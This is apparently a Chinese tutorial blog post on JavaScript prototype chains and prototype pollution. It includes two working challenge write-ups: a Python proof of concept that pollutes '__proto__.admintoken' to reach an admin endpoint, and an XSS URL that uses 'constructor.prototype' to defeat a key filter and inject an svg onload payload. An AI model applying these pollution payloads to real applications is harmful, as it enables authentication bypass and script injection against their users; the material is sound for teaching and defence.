XSS注入进阶练习篇(三) XSS原型链污染
XSS原型链污染
- 1.原型链的概念
- 1.1 构造函数的缺点
- 1.2 prototype 属性的作用
- 1.3 原型链
- 1.4 `constructor`属性
- 1.5 `prototype`和`__proto__`
- 2. 原型链污染
- 2.1 原型链污染是什么?
- 2.2 原型链污染的条件
- 2.3 原型连污染实例
- 2.3.1 hackit 2018
- 2.3.2 challenge-0422
- 3.总结
1.原型链的概念
面向对象编程很重要的一个方面,就是对象的继承。A 对象通过继承 B 对象,就能直接拥有 B 对象的所有属性和方法。这对于代码的复用是非常有用的。
大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现,本章介绍 JavaScript 的原型链继承。
虽然ES6题出了类的概念但是其底层实现还是通过原型链来完成的。
1.1 构造函数的缺点
JavaScript 通过构造函数生成新对象,因此构造函数可以视为对象的模板。实例对象的属性和方法可以定义在构造函数内部。
function Cat(name, color) {this.name = name;this.color = color;}var cat1 = new Cat('大毛', '白色');console.log(cat1.name);console.log(cat1.color);
上面代码中,Cat
函数是一个构造函数,函数内部定义了name
属性和color
属性,所有实例对象(上例是cat1
)都会生成这两个属性,即这两个属性会定义在实例对象上面。
通过构造函数为实例对象定义属性,虽然很方便,但是有一个缺点。同一个构造函数的多个实例之间,无法共享属性,从而造成对系统资源的浪费。也就是说,每新建一个对应的对象,这部分对象间可以共享的固有属性,必须得重新分配内存空间去存储。引发资源浪费。
function Cat(name, color) {this.name = name;this.color = color;this.meow = function () {console.log('喵喵');};
}var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');cat1.meow === cat2.meow
结果:
上面代码中,cat1
和cat2
是同一个构造函数的两个实例,它们都具有meow
方法。由于meow
方法是生成在每个实例对象上面,所以两个实例就生成了两次。也就是说,每新建一个实例,就会新建一个meow
方法。这既没有必要,又浪费系统资源,因为所有meow
方法都是同样的行为,完全应该共享。
这个问题的解决方法,就是 JavaScript 的原型对象(prototype)。
即就是说,JS为了解决构造函数生成实例时,不同实例之间的共享属性方法问题提出了原型链的概念。
1.2 prototype 属性的作用
JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。(原型是一块共享内存区域,在此处可以存放实例之间的共享元素)
下面,先看怎么为对象指定原型。JavaScript 规定,每个函数都有一个prototype
属性,指向一个对象。
function f() {}
typeof f.prototype // "object"
我们发现,任何函数都有原型属性,其指向一个对象。
对于普通函数来说,该属性基本无用。但是,对于构造函数来说,生成实例的时候,该属性会自动成为实例对象的原型。
function Animal(name) {this.name = name;
}
//定义构造函数的原型对象的color属性为 'white'
Animal.prototype.color = 'white';//创建了两个实例
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');//可以访问到实例自动获取的color属性
cat1.color // 'white'
cat2.color // 'white'
上面代码中,构造函数Animal
的prototype
属性,就是实例对象cat1
和cat2
的原型对象。原型对象上添加一个color
属性,结果,实例对象都共享了该属性。
原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。
Animal.prototype.color = 'yellow';cat1.color // "yellow"
cat2.color // "yellow"
上面代码中,原型对象的color
属性的值变为yellow
,两个实例对象的color
属性立刻跟着变了。这是因为实例对象其实没有color
属性,都是读取原型对象的color
属性。也就是说,当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。
如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。
cat1.color = 'black';cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';
上面代码中,实例对象cat1
的color
属性改为black
,就使得它不再去原型对象读取color
属性,后者的值依然为yellow
。
总结一下,原型对象的作用,就是定义所有实例对象共享的属性和方法。这也是它被称为原型对象的原因,而实例对象可以视作从原型对象衍生出来的子对象。
再比如我们在构造函数的原型上定义一个walk方法:
Animal.prototype.walk = function () {console.log(this.name + ' is walking');
};
此方法可以在每一个实例中调用:
function Animal(name) {this.name = name;}Animal.prototype.walk = function () {console.log(this.name + ' is walking');};//创建了两个实例var cat1 = new Animal('大毛');var cat2 = new Animal('二毛');//实例中可以调用对应的方法cat1.walk();car2.walk();
到这里,我们明白了原型的作用其实就是为构造函数创建的所有实例提供一个共享内存空间,在这个空间内存放的属性方法,每一个新建的实例都可以调用。并且新建的实例允许拥有自己的新实现(修改默认的属性,也就是自定义属性)。
1.3 原型链
JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型……
因为构造函数的原型属性指向的就是一个对象,所以这意味着什么?当然是作为对象的原型,也拥有自己的构造函数(object),且其原型属性且指向一个原型。
如果一层层地上溯,所有对象的原型最终都可以上溯到Object.prototype
,即Object
构造函数的prototype
属性。也就是说,所有对象都继承了Object.prototype
的属性。这就是所有对象都有valueOf
和toString
方法的原因,因为这是从Object.prototype
继承的。
这里的object
是整个JS的基点,类似于宇宙的奇点,也就是说,作为object
它也是构造函数,所以肯定也有原型属性。而这个原型上面定义的就有tostring和valueof方法。所以,由它创建的所有JS函数也好、实例也罢。均可以访问这两个函数。
那么,Object.prototype
对象有没有它的原型呢?回答是Object.prototype
的原型是null
。null
没有任何属性和方法,也没有自己的原型。因此,原型链的尽头就是null
。
Object.getPrototypeOf(Object.prototype)
// null
上面代码表示,Object.prototype
对象的原型是null
,由于null
没有任何属性,所以原型链到此为止。Object.getPrototypeOf
方法返回参数对象的原型。
读取对象的某个属性时,JavaScript 引擎先寻找对象本身的属性,如果找不到,就到它的原型去找,如果还是找不到,就到原型的原型去找。如果直到最顶层的Object.prototype
还是找不到,则返回undefined
。如果对象自身和它的原型,都定义了一个同名属性,那么优先读取对象自身的属性,这叫做“覆盖”(overriding)。
注意,一级级向上,在整个原型链上寻找某个属性,对性能是有影响的。所寻找的属性在越上层的原型对象,对性能的影响越大。如果寻找某个不存在的属性,将会遍历整个原型链。
举例来说,如果让构造函数的prototype
属性指向一个数组,就意味着实例对象可以调用数组方法。
var MyArray = function () {};MyArray.prototype = new Array();
MyArray.prototype.constructor = MyArray;var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true
上面代码中,mine
是构造函数MyArray
的实例对象,由于MyArray.prototype
指向一个数组实例,使得mine
可以调用数组方法(这些方法定义在数组实例的prototype
对象上面)。最后那行instanceof
表达式,用来比较一个对象是否为某个构造函数的实例,结果就是证明mine
为Array
的实例。
1.4 constructor
属性
prototype
对象有一个constructor
属性,默认指向prototype
对象所在的构造函数。
function P() {}
P.prototype.constructor === P // true
由于constructor
属性定义在prototype
对象上面,意味着可以被所有实例对象继承。
function P() {}
var p = new P();p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false
上面代码中,p
是构造函数P
的实例对象,但是p
自身没有constructor
属性,该属性其实是读取原型链上面的P.prototype.constructor
属性。
constructor
属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。
function F() {};
var f = new F();f.constructor === F // true
f.constructor === RegExp // false
上面代码中,constructor
属性确定了实例对象f
的构造函数是F
,而不是RegExp
。
另一方面,有了constructor
属性,就可以从一个实例对象新建另一个实例。
function Constr() {}
var x = new Constr();var y = new x.constructor();
y instanceof Constr // true
上面代码中,x
是构造函数Constr
的实例,可以从x.constructor
间接调用构造函数。这使得在实例方法中,调用自身的构造函数成为可能。
Constr.prototype.createCopy = function () {return new this.constructor();
};
上面代码中,createCopy
方法调用构造函数,新建另一个实例。
constructor
属性表示原型对象与构造函数之间的关联关系,如果修改了原型对象,一般会同时修改constructor
属性,防止引用的时候出错。
错误实例:
function Person(name) {this.name = name;
}Person.prototype.constructor === Person // true//修改原型属性的指向
Person.prototype = {method: function () {}
};
//没有主动修改该constructor的情况下,这里会出现不一致的情况
Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true
上面代码中,构造函数Person
的原型对象改掉了,但是没有修改constructor
属性,导致这个属性不再指向Person
。由于Person
的新原型是一个普通对象,而普通对象的constructor
属性指向Object
构造函数,导致Person.prototype.constructor
变成了Object
。
// 坏的写法
C.prototype = {method1: function (...) { ... },// ...
};// 好的写法
C.prototype = {constructor: C,method1: function (...) { ... },// ...
};// 更好的写法 --- 避免对原型对象的直接修改,不破坏结构,用方法名区分
C.prototype.method1 = function (...) { ... };
上面代码中,要么将constructor
属性重新指向原来的构造函数,要么只在原型对象上添加方法,这样可以保证instanceof
运算符不会失真。
如果不能确定constructor
属性是什么函数,还有一个办法:通过name
属性,从实例得到构造函数的名称。
function Foo() {}
var f = new Foo();
f.constructor.name // "Foo"
到这里,我们捋清楚了constructor属性的作用,其在是在原型中默认自带的一个属性,值为当前原型的拥有者(指向当前原型所属的构造函数)。可以实现通过实例调用构造函数,做一些实例的拷贝功能。要注意的一点是,constructor属性会自动修改数值,当我们人为的修改了原型属性的指向时,还想用它访问构造函数的话,一定要记得将constructor的数值进行修改,不过更多的建议是不要对原型对象进行指向修改。可以用添加方法的形式在不破坏原型结构的情况下实现功能。
当然利用这个属性我们可以实现通过实例访问原型对象:
<script>function Person(name) {this.name = name;}let per = new Person('batman');console.log(Person.prototype);console.log(per.constructor.prototype);
</script>
1.5 prototype
和__proto__
通过上面的学习,我们知道了prototype原型作为构造函数的属性,其指向一个对象。我们可以给这个对象添加一些属性、方法。这些添加在原型上的属性方法,可以被实例对象无条件继承。当然数据是只有一份的。那么如果我们想要在实例中直接访问构造函数的原型应该怎么样访问呢?
这样?
function Foo() {this.bar = 1}Foo.prototype.name = 'this is test for prototype';var foo1 = new Foo();console.log(foo1.name);console.log(foo1.prototype);
那肯定是访问不到的,因为是这样用的:
function Foo() {this.bar = 1}Foo.prototype.name = 'this is test for prototype';var foo1 = new Foo();console.log(foo1.name);console.log(foo1.__proto__);
到这里,我们可以看到其实__proto__
的作用就是让实例对象可以访问到自己构造函数的原型对象。也就是说,一直访问我们可以看到原型链:
function Foo() {this.bar = 1}Foo.prototype.name = 'this is test for prototype';var foo1 = new Foo();console.log(foo1.name);console.log(foo1.__proto__);console.log(foo1.__proto__.__proto__);console.log(foo1.__proto__.__proto__.__proto__);
看到了吧,真的通过三次原型访问我们找到了null。因为我们的构造函数上一级就是object
,所以上走两级,就是object
的原型,而object
的原型又恰好定义为了null
。所以我们可以看到这样的现象。
2. 原型链污染
2.1 原型链污染是什么?
我们通过一个简单的例子来看一看,原型链污染的现象:
// foo是一个简单的JavaScript对象
let foo = {bar: 1}// foo.bar 此时为1
console.log(foo.bar)// 通过对象修改foo的原型中的bar(即Object)
foo.__proto__.bar = 2// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)// 此时再用Object创建一个空的zoo对象
let zoo = {}// 查看zoo.bar,值为修改后的2
console.log(zoo.bar)
也就是说,原型链污染的原因就是我们通过谋克可访问的对象,通过__proto__
属性,对其构造函数的原型对象进行修改。以此来影响后续此构造函数所创建的每一个实例的对应属性。前提是这个实例没有对该属性进行自定义修改。
2.2 原型链污染的条件
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
- 对象merge 用于结合,拼接
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中) 复制
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {//循环取出source中的keyfor (let key in source) {//判断key是否在源目均存在,存在就递归调用mergeif (key in source && key in target) {merge(target[key], source[key])} else {//不存在直接让源覆盖目target[key] = source[key]}}
}
总结来说,这个函数的作用就是,进行对象之间的属性传递,源对象的属性会完全覆盖掉目的对象。目的对象没有的,直接赋值。目的对象有的,递归调用后,还是会将目的对像的相应属性进行覆盖。
我们尝试进行一次污染:
//定义了对象o1和o2,并在o2里面添加了原型作为键
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
//这里o1在复制的过程中会出现 o1._proto__ = {b:2}
//也就是说,后续可以用o3.b访问到原型属性o3.__proto__.b=2
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)
结果:
这里并没有像我们推理的那样,污染到原型链。我们采用断点分析,跟进分析:
直接没有取出__proto__
键,而是忽略掉了。仅仅取出了键a和键b。
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
修改代码:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)
继续打断点跟进:
可以看到,已经取出来__proto__
作为键名了,自然最终可以实现原型链污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
2.3 原型连污染实例
2.3.1 hackit 2018
这道题的灵感来自hackit2018,后端启动了一个nodejs程序,提供两个接口api和admin。用户提交参数,利用原型链污染实现非法修改登录信息,从而登陆admin。
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})
获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。
将上面的源码放到路径下,解决依赖之后就可以运行。我们先来看它的漏洞点:
//请求接口,admin页面验证失败就返回forbidden
app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}
}
)//用户提交参数的api接口
app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}//漏洞点,此处用户提交的row和col以及data均可控,那么利用原型链污染的原理就可以污染object原型对象的参数。//污染admintokrn为已知信息matrix[client.row][client.col] = client.data;
先进行本地测试:
可以实现,进行python的poc编写:
import requests
import jsonurl1 = "http://127.0.0.1:3000/api"
#md5(batman) is the value of querytoken
url2 = "http://127.0.0.1:3000/admin?querytoken=ec0e2603172c73a8b644bb9456c1ff6e"s = requests.session()headers = {"Content-Type":"application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"batman"}res1 = s.post(url1,headers=headers,data=json.dumps(data1))
res2 = s.get(url2)print(res2.text)
效果:
2.3.2 challenge-0422
challenge-0422是世界著名的XSS挑战网站其中的一期原型链污染挑战。关于这个挑战几乎每一个月都会有一次。挑战成功的人可以获得一些奖品。当然难度也不低。大家有兴趣的可以去参考学习。
0422的意思是22年4月份的题目。在对应URL进行更改即可。
我们来看这道题:
页面上给了一个模拟windows的程序,显然点击完毕后没有任何反应。我们需要找到对应的JS源码。我们看到源码内部有一个iframe标签。我们尝试进入:
view-source:https://challenge-0422.intigriti.io/challenge/Window%20Maker.html
这样一来的话,我们就可以开展对于其源码的初步分析了:罗列出其主要的功能代码,建议各位先揣摩揣摩。下面的内容可能有些难以理解
//main函数的位置function main() {//利用qs接收url中?以及以后的内容,并对其进行const qs = m.parseQueryString(location.search)let appConfig = Object.create(null)appConfig["version"] = 1337appConfig["mode"] = "production"appConfig["window-name"] = "Window"appConfig["window-content"] = "default content"//在JS中["string"]的写法,表明这里是一个数组赋值appConfig["window-toolbar"] = ["close"]appConfig["window-statusbar"] = falseappConfig["customMode"] = falseif (qs.config) {//第一次merge的调用位置merge(appConfig, qs.config)//这里把定制按钮打开appConfig["customMode"] = true}//又开始创建对象devsettingslet devSettings = Object.create(null)//一系列的赋值,root接收到的是标签对象devSettings["root"] = document.createElement('main')devSettings["isDebug"] = falsedevSettings["location"] = 'challenge-0422.intigriti.io'devSettings["isTestHostOrPort"] = false//调用了这里的checkhost函数作为依据,进入第二次调用mergeif (checkHost()) {//键值判断 测试主机端口标识位 置1devSettings["isTestHostOrPort"] = true//调用merge覆盖devsettings,覆盖用的参数是qs的settings表明我们可以传递settings这样一个参数进去merge(devSettings, qs.settings)}//判断是测试主机或者debug模式就打印两个对象appConfig和devSettingsif (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {console.log('appConfig', appConfig)console.log('devSettings', devSettings)}//根据custommode的值对devsettings.root采取不同的内容挂载if (!appConfig["customMode"]) {m.mount(devSettings.root, App)} else {m.mount(devSettings.root, {view: function () {return m(CustomizedApp, {name: appConfig["window-name"],content: appConfig["window-content"],options: appConfig["window-toolbar"],status: appConfig["window-statusbar"]})}})}//将devSettings.root插入到body里面去document.body.appendChild(devSettings.root)}//获取当前页面的location信息,提取host仅当端口号为8080时返回true或者hostname为127.0.0.1//返回truefunction checkHost() {const temp = location.host.split(':')const hostname = temp[0]const port = Number(temp[1]) || 443return hostname === 'localhost' || port === 8080}//判断是否非本源?function isPrimitive(n) {return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'}//进阶版的merge函数,内部对于敏感字符特别是"__proto__"进行了过滤function merge(target, source) {let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]//从源中获取键值for (let key in source) {//遇到了包含敏感字符的键直接跳出循环一次予以忽略if (protectedKeys.includes(key)) continue//迭代进行merge的赋值//判断数据类型,类型符合就将其送入sanitize进行过滤。之后在进行赋值if (isPrimitive(target[key])) {target[key] = sanitize(source[key])} else {merge(target[key], source[key])}}}//过滤函数,判断输入是否是字符串,如果是字符串就对其进行过滤function sanitize(data) {if (typeof data !== 'string') return datareturn data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')}main()})()
上面的代码分析完了我们就要开始着手解题了。先找特征函数merge函数。总共出现了两次,第一次触发是无条件的,对appconfig
做了修改。目前看来,没有啥大用。第二次呢,是有条件的调用,调用前必须有一个校验函数的返回值为1。通过上面的分析。
作为checkhost函数,其判断依据就是请求的主机名和端口号。目前看来,也是没有任何办法让其检测通过。
再看第二个merge的作用,第二个merge修改覆盖了devSettings
这个参数,显然,在main函数结尾,使用了document.body.appendChild(devSettings.root)
这让人眼前一亮的插入行为。
大致的思路出来了,我们得先想办法干扰checkhost函数,才有望对插入的devconfigs.root
进行污染。我们此时再来看看这个函数:
function checkHost() {//获取了参数const temp = location.host.split(':')//用了temp数组进行参数的取出const hostname = temp[0]//继续调用temp[1]来取端口号,斯,端口号肯定没显示,取不出来。//那就默认443咯const port = Number(temp[1]) || 443return hostname === 'localhost' || port === 8080}
回想一下原型链污染的基本概念,使用实例访问原型对象并创建相应属性,对新创建的没有该属性的实例进行污染。这里的temp有没有.1
这个属性?没有吧,那我们就构造如下参数进行污染:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080
//我们就是访问到了object.ptototype.1 = 8080 后续新建的temp虽然没有.1这个属性
//但是object作为始祖原型拥有此属性,通过系统循环,找到了这个属性并且值恰好是8080
//于是,绕过了此处的checkhost函数,成功将对sttings的merge引入执行流程。
现在你肯定有两个疑问:
Q1:为什么不用
__proto__
访问原型对象?
A1:在进行merge的时候,作者坏坏的过滤了这个参数,遇到这个字符直接会跳出当前循环,忽略它的存在
Q2:控制台里为什么有多处了两个对象?
A2:因为在这里,有判断输出的代码
//判断是测试主机或者debug模式就打印两个对象
appConfig和devSettings
if (devSettings[“isTestHostOrPort”] || devSettings[“isDebug”]) {
console.log(‘appConfig’, appConfig)
console.log(‘devSettings’, devSettings)
}
接下来我们的目标就是污染setting参数,想办法插入完整的JS代码完成XSS:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E
后面setting
的参数是一级一级找寻插入点得到的。比如这样:
最终弹窗效果:
注意,这个弹窗又是只能在firefox之外的浏览器上生效。不过无伤大雅,大家能大致理解这个思路就行。通过二次原型链污染,最终插入的我们的JS代码实现了一个XSS弹窗。
3.总结
首先,原型对象的提出是为了解决JS代码中,使用构造函数创建多个有重复属性方法实例时的引发的资源浪费问题。通过给构造函数赋予prototype
属性(该指向一个具有共享功能的原型对象),所有写到原型对象中的属性方法都默认被实例继承。当然这并不妨碍实例自定义属性和方法。这就是原型的工作原理。
作为原型对象实例,自然有自己的构造函数(object),故object.prototype
上指定的方法会被所有JS函数拥有,也就是我们常说的任何对象都有tostring
方法和valueof
方法。作为始祖protottpe
,始祖原型的它,它的构造函数不存在,故想要访问它的原型对象时,只会返回null。
但是也正是这一机制的存在,构成了原型链,即就是说,任意一个对象访问其不存在的方法属性时,会先找自己的原型对象,自己的原型对象没有时就会再找原型对象的原型对象,循环往复,直到找到object
的原型对象的原型对象返回了null
才停止寻找。自然,原型链过长会影响性能。
那么,所谓的原型链污染,其原理就是,通过对于某一实例的原型对象属性的修改,让与其同构造函数创建的实例在后续程序运行中,调用被修改过的属性。从而达到影响程序执行进程,实现恶意XSS或其他恶意行为的攻击。其对多见于merge这样的赋值函数。
那么在merge函数中,要使用原型链污染就必须将原型链插入到目标里面去,为了解决merge运行时默认不识别__proto__
的问题,我们会对传入merge的参数进行json化处理。依次达到效果,这在hackit2018的payload中有所体现。
那么,在通过实例访问原型对象的过程中,我们不仅仅可以使用__proto__
还可以使用constructor.prototype
访问。同样可以达到效果,这在challenge-0422
挑战中也是作为绕过方法使用。
总的来说,原型链污染这个话题还是有很多更加深入的内容值得探究,本文也只是浅尝辄止。诸位要是有兴趣的话可以再深入探究。随着前端技术能实现的功能日益加强,其出现的安全问题同样不容小视。
路还很长,特别是对于代码的基础功底。还有很长一段路要走,共勉!
在补充一句,原型链污染的预防个人觉得只能从代码书写角度去进行防范,任何会进入到merge的参数都进行过滤。如此一来,可以阻挡一部分原型链污染攻击。
相关文章:

XSS注入进阶练习篇(三) XSS原型链污染
XSS原型链污染1.原型链的概念1.1 构造函数的缺点1.2 prototype 属性的作用1.3 原型链1.4 constructor属性1.5 prototype和__proto__2. 原型链污染2.1 原型链污染是什么?2.2 原型链污染的条件2.3 原型连污染实例2.3.1 hackit 20182.3.2 challenge-04223.总结1.原型链…...

【Java基础 下】 025 -- 阶段项目(斗地主)
目录 斗地主 一、斗地主游戏1 -- 准洗发(控制台版) 1、准备牌 2、洗牌 3、发牌 4、看牌 二、斗地主游戏2 -- 给牌排序①(利用序号进行排序) 2、洗牌 3、发牌 4、看牌 三、斗地主游戏2 -- 给牌排序②(给每一张牌计算价值…...

华为OD机试真题Python实现【矩阵最值】真题+解题思路+代码(20222023)
题目 给定一个仅包含0和1的n*n二维矩阵 请计算二维矩阵的最大值 计算规则如下 每行元素按下标顺序组成一个二进制数(下标越大约排在低位), 二进制数的值就是该行的值,矩阵各行之和为矩阵的值允许通过向左或向右整体循环移动每个元素来改变元素在行中的位置 比如 [1,0,1,1,1]…...

TypeScript笔记(三)
前言 上一篇文章我们主要介绍了TypeScript的基本类型boolean、number、string、void、null和undefine,还介绍了任意类型any和联合类型,这篇文章我们将会了解对象类型Interface和数组的相关知识。 对象的类型——接口 在TypeScript中,我们使…...

C++(41)-低版本升级到VS2019项目时遇到的问题(2)
1.错误码:MSB8066 代码为3 QT 项目老版本升级到新版本造成的, 1.重新加载项目: 扩展->QT VS tools->Open QT project files-> 2.添加QT模块:QT Project-Settings -> QT Modules2.无法打开QT的头文件 3.…...

git 实战应用
基本使用1.1、使用git想要让 git 对一个目录进行版本控制需要一下步骤:进入要管理的文件夹执行初始化命令git init查看目录下的文件状态git status管理指定文件// 添加指定文件 git add ***.txt// 添加未被管理的所有文件 git add .生成版本git commit -m 描述信息提…...

Linux重启命令shutdown与reboot
在linux命令中reboot是重新启动,shutdown -r now是立即停止然后重新启动,都说他们两个是一样的,其实是有一定的区别的。 shutdown 命令可以安全地关闭或重启Linux系统,它在系统关闭之前给系统上的所有登录用户提示一条警告信息。…...

华为OD机试真题 用 C++ 实现 - 静态扫描最优成本
最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…...

拿下宁王、迪王的湖南裕能,还能“狂飙”多远?
文|智能相对论作者|Kinki近日,磷酸铁锂正极材料龙头湖南裕能正式登陆A股,上市当天市值超过了400亿元,投资者中一签可赚1.49万元,可谓近年低迷的资本市场中一支“大肉签”。不过在 “开门红”之后,湖南裕能的股价便一路…...

STM32FreeRTOS - 按键实现任务挂起和恢复
STM32f103C8T6 FreeRTOS - 按键实现任务挂起和恢复,按键按下时,LED任务执行,led闪烁,当led任务挂起,Led停止闪烁。1.STM32CubeMX 创建任务1.1配置GPIO按键配置外部中断触发GPIO绿灯,红灯配置输出模式1.2配置…...

华为OD机试真题Python实现【判断牌型】真题+解题思路+代码(20222023)
判断牌型 题目 五张牌每张牌由牌大小和花色组成 牌大小2~10 J Q K A 花色四种 红桃 黑桃 梅花 方块 四种花色之一 判断牌型 牌型一 同花顺 同一花色的顺子 如红桃 2 红桃 3 红桃 4 红桃 5 红桃 6牌型二 四条 四张相同数字+单张 红桃 A 黑桃 A 梅花 A 方块 A 加黑桃 A牌型三 葫…...

Kafka(7):生产者详解
1 消息发送 1.1 Kafka Java客户端数据生产流程解析 1 首先要构造一个 ProducerRecord 对象,该对象可以声明主题Topic、分区Partition、键 Key以及值 Value,主题和值是必须要声明的,分区和键可以不用指定。 2 调用send() 方法进行消息发送。 3 因为消息要到网络上进行传输…...

FPGA纯verilog代码实现H.264/AVC视频解码,提供工程源码和技术支持
目录1、前言2、硬件H.264/AVC视频解码优势3、vivado工程设计架构4、代码架构分析5、vivado仿真6、福利:工程代码的获取1、前言 本设计是一种verilog代码实现的低功耗H.264/AVC解码器(baseline ),硬件ASIC设计,不使用任何GPP/DSP等内核&#…...
通俗神经网络
经典的全连接神经网络 经典的全连接神经网络来包含四层网络:输入层、两个隐含层和输出层,将手写数字识别任务通过全连接神经网络表示,如 图3 所示。 图3:手写数字识别任务的全连接神经网络结构输入层:将数据输入给神经…...

网络工程(一) 简单的配置
网络工程 简单的配置 需求 两台交换机 两台路由器 两台PC AR1配置静态路由 system-view [HUAWEI]sysname ar1 [ar1]interface g 0/0/0 [ar1-G…0/0/0]ip address 192.168.2.1 24 [ar1-G…0/0/0]quit [ar1]interface g 0/0/1 [ar1-G…0/0/1]ip address 192.168.3.1 24 [ar1-G…...

深度剖析数据在内存中的存储(上)
目录 1. 数据类型介绍 1.1 类型的基本归类 2. 整形在内存中的存储 2.1 原码、反码、补码 2.2 大小端介绍 2.3 一道小题 本章重点 1. 数据类型详细介绍 2. 整形在内存中的存储:原码、反码、补码 3. 大小端字节序介绍及判断 4. 浮点型在内存中的存储解析 正文…...

CF Edu 130 A-D vp 补题
CF Edu 130 A-D vp 补题 数模也是终于结束了。开始恢复vp。今天这场vp发挥比上次好一些,三题rank3600。A,B题做的很顺利。C题标记没弄全多WA了两发。D题是个交互题,也是研究了一下。基本思路正确。 题目链接 A. Parkway Walk 贪心 题意&am…...

4707: 统计数字个数
描述给定一个非负整数a,求其中含有数字b的个数(0<a<2147483647,0<b<9)。如100001中含所有0的个数为4,1的个数为2。输入输入数据有多组,每组一行,每行为两个整数,即a和b&…...

ChatGPT 编写模式:如何高效地将思维框架赋予 AI ?
